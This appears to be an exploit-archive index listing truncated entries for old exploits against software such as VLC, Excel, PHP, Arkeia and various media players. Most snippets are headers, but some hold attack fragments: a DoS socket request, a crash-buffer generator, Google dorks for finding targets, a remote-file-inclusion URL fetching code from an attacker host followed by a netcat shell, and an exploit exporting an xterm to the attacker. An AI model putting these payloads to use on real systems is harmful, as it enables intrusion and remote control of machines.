Imageview 6.0 Directory Traversal

Exploit Title: Imageview v6.0 Remote and Local Directory Traversal Vulnerability Google Dork: inurl:"/imageview6/" home : www.D99Y.com Date: 27/2/2011 Author: Difficult 511 Software Link: http://www.blackdot.be/files/downloads/imageview6-install.zip Version: 6.0 Tested on: windows xp sp2 file :...

Virtuosa Phoenix Edition 5.2 ASX SEH BOF

Exploit for windows platform in category local exploits !/usr/bin/python Exploit Title: Virtuosa Phoenix Edition 5.2 ASX BOF SEH Overwrite Date found: Aug 16th 2010 Author: Acidgen Software Link: http://download1.virtuosa.com/VirtuosaTrial.exe Version: 5.2 Tested on: Windows XP SP2 Virtuosa - Fil...

Demo of the Microsoft DLL Hijacking Exploit

In this video, the folks at Offensive Security demonstrated exactly how the Windows DLL-hijacking vulnerability can exploited using Metasploit and a benign PowerPoint slide...

Microsoft Office Excel PivotTable Cache Data Record Handling Overflow

Added: 08/19/2010 CVE: CVE-2010-2562 BID: 42199 OSVDB: 66991 Background Microsoft Excel, part of the Microsoft Office product suite, is a spreadsheet application for Windows and Macintosh platforms. Problem Microsoft Excel is vulnerable to a stack buffer overflow due to a logic error when parsing...

BaoFeng Storm M3U File Processing Buffer Overflow Exploit

Exploit for windows platform in category local exploits ========================================================= BaoFeng Storm M3U File Processing Buffer Overflow Exploit ========================================================= !/usr/bin/env python Title: BaoFeng Storm M3U File Processing Buffe...

uTorrent WebUI <= v0.370 Authorization header DoS Exploit

Exploit for windows platform in category dos / poc ========================================================= uTorrent WebUI newPeerAddr =$ARGV0,PeerPort =$ARGV1,Proto = 'tcp'; print $sock "GET / HTTP/1.1\r\n". "Authorization: Basic $nonbase64\r\n\r\n"; 0day.today 2017-12-31...

jetAudio 8.0.0.2 Basic - .asx Local Crash

jetAudio 8.0.0.2 Basic - .asx Local Crash !/usr/bin/perl Title: jetAudio 8.0.0.2 Basic Local Crash Exploit Author: cr4wl3r Platform: Windows my $file= "crash.asx"; my $boom= "http://"."AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000; open$FILE,"$file"; print $FILE...

YPOPS! 0.9.7.3 - Buffer Overflow (SEH)

YPOPS! 0.9.7.3 - Buffer Overflow SEH Version:0.9.7.3 Tested on: Windows XP SP3 !/usr/bin/python All modules are SafeSEH protected in service pack 3. import socket, sys print "\n ========================================" print " YPOPS! v 0.9.7.3 Buffer Overflow SEH" print " Proof of Concept by Bla...

SimplePlayer 0.2 - .wav Overflow Denial of Service

SimplePlayer 0.2 - .wav Overflow Denial of Service !/usr/bin/python Title: SimplePlayer v0.2 0day .wav overflow DOS Exploit Found by: mrme seeleymagic at hotmail dot com Greetz to: Corelan Security Team::corelanc0d3r/EdiStrosar/Rick2600/MarkoT Tested on: Windows XP SP3 Happy New Year! POC: crash ...

Media Jukebox 8.0.400 - Local Buffer Overflow (SEH) (Metasploit)

Media Jukebox 8.0.400 - Local Buffer Overflow SEH Metasploit $Id: mediajukebox.rb 11516 2011-01-08 01:13:26Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on...

ImageVue 2.0 - Remote Admin Login

Author: Sora Software Link: http://www.imagevuex.com/ Version: 2.0 Tested on: Windows and Linux --------------------------------- / ImageVue 2.0 Remote Admin Login Exploit Created by Sora Contact: vhr95zw at hotmail.com / + Google Dork: "inurl:/admin/" "ImageVue" + Description: ImageVue 2.0 suffe...

VideoLAN VLC Media Player SMB Module Win32AddConnection Buffer Overflow

Added: 09/11/2009 CVE: CVE-2009-2484 BID: 35500 OSVDB: 55509 Background VLC media player is a media player supporting various audio and video formats for multiple platforms. Problem A stack-based buffer overflow vulnerability in the Win32AddConnection function may allow a remote attacker to execu...

HP OpenView NNM v7.5.1 ovalarmsrv.exe Remote Overflow Exploit

Exploit for unknown platform in category remote exploits ============================================================= HP OpenView NNM v7.5.1 ovalarmsrv.exe Remote Overflow Exploit ============================================================= / Dreatica-FXP crew...

IBM Tivoli Storage Manager 5.3 Express CAD Service BoF Exploit

No description provided by source. !/usr/bin/python IBM Tivoli Storage Manager Express CAD Service Buffer Overflow 5.3 http://www.zerodayinitiative.com/advisories/ZDI-07-054.html Tested on windows 2003 server SP0. Coded by Mati Aharoni muts.at.offensive-security.com...

NCTAudioStudio2 ActiveX DLL 2.6.1.148 CreateFile() Insecure Method

No description provided by source. pre codespan style="font: 10pt Courier New;"span class="general1-symbol"-------------------------------------------------------------------------------------------------- bNCTAudioStudio2 ActiveX DLL NCTWavChunksEditor2.dll v. 2.6.1.148 "CreateFile"Insecure...

Yager 5.24 - Remote Buffer Overflow

Yager 5.24 - Remote Buffer Overflow / Yager 1 -- sending handshake UDP...done! -- reading server response UDP...done! -- server port: 1089 -- connecting to 192.168.2.100:1089 TCP...done! -- exploiting WinXP Pro SP1 GER -- ret: 0x300686bd jmp esp in binkw32.dll -- exploiting packet overflow... --...

Knox Arkeia Server Backup 5.3.x - Remote Code Execution

/ Knox Arkiea Server Backup arkiead local/remote root exploit Targets for Redhat 7.2/8.0, Win2k SP2/SP3/SP4, WinXP SP1, Win 2003 EE Works up to current version 5.3.x --------------- Linux x86: ./arksink2 Exports an xterm to the box of your choosing. Make sure to "xhost +" on the box you're...

3Com Ftp Server 2.0 Remote Overflow Exploit

No description provided by source. / Email fixed brotha /str0ke / / 3Com Ftp Server remote overflow exploit author : c0d3r "kaveh razavi" [email protected] package : 3CDaemon version 2.0 revision 10 advisory : http://secway.org/advisory/ad20041011.txt company address : 3com.com it is just a...

PHP <= 4.3.7 openlog() Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ============================================== PHP http://www.vulnerable.box/remincl.php?page=http://3v1l.h4x0r.b0x/tooopenlog.php.txt BOOM.... netcat www.vulnerable.box 65535 Microsoft Windows 2000 versie 5.00.2195 C Copyright 1985-2000...

OllyDbg 1.10 - Format String

OllyDbg 1.10 - Format String // Exploit opens a new cmd.exe.Tested on win2ken+sp4en+ollydbg v1.09d // Open exploit with ollydebug and run the exploit from ollydebugF9 key. // Coded by Ahmet Cihana.k.a. hurby // Thanx to r3db4r0n, Murat Erdo??ana.k.a. Stormwr, Onur Cihana.k.a.eurnie and 3710336,...